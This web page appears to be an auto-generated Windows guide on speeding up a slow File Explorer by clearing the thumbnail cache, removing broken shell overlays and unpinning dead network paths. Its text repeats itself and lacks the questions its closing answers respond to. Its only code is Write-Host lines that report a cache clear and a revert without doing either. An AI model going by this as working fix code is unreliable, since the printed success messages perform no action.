This operation is focused on speed up a very slow file explorer so the result stays precise instead of mixing unrelated tweaks.
Improve Windows Performance is written like a practical guide instead of a thin script page, so you can understand what the issue usually means, why the suggested actions exist, and how to back out safely if the result is not what you wanted.
Clear thumbnail state and restart Explorer when folders load slowly, especially in media-heavy locations.

Write-Host 'Explorer thumbnail cache was cleared and Explorer restarted.'Clear thumbnail state and restart Explorer when folders load slowly, especially in media-heavy locations.
Explorer performance issues often come from shell overlays, thumbnail rebuilds, and slow history or pinned network paths rather than CPU alone.
In plain language, speed up a very slow file explorer matters because thumbnail and preview generation is heavy. People usually start looking this up when Quick Access history is stale. Explorer performance issues often come from shell overlays, thumbnail rebuilds, and slow history or pinned network paths rather than CPU alone.
In practice, speed up a very slow file explorer matters because thumbnail and preview generation is heavy. Explorer performance issues often come from shell overlays, thumbnail rebuilds, and slow history or pinned network paths rather than CPU alone. A good next step is to review keep media folders organized. Then decide whether you only needed the explanation or whether you want a practical action page too.
You normally review speed up a very slow file explorer when you want to understand what Windows is doing, what changes it can influence, and whether it is relevant before you touch settings blindly. Useful things to notice first: keep media folders organized; remove broken shell overlays; unpin dead network paths; clear recent items if Quick Access gets messy.

Write-Host 'Performance extras reverted toward a balanced baseline.'This page is designed to be reviewable before you run anything. It shows what the pack is likely to touch, what it intentionally avoids, and how rollback is handled.
Usually only after you confirm the symptom matches. A safer baseline, a restore point, and one change at a time make the result easier to trust.
Check the exact problem you cared about, reboot if the page recommends it, and compare the before and after behavior rather than assuming the change helped.
For most pages here, yes. The generated undo pack is meant to move you back toward a cleaner baseline, though deleted cache or temporary files may not come back.
No. These pages are meant to be high-signal starting points. If the same symptom comes from hardware failure, account corruption, a bad driver, or a third-party app conflict, you may need a neighboring guide or a deeper diagnostic path.
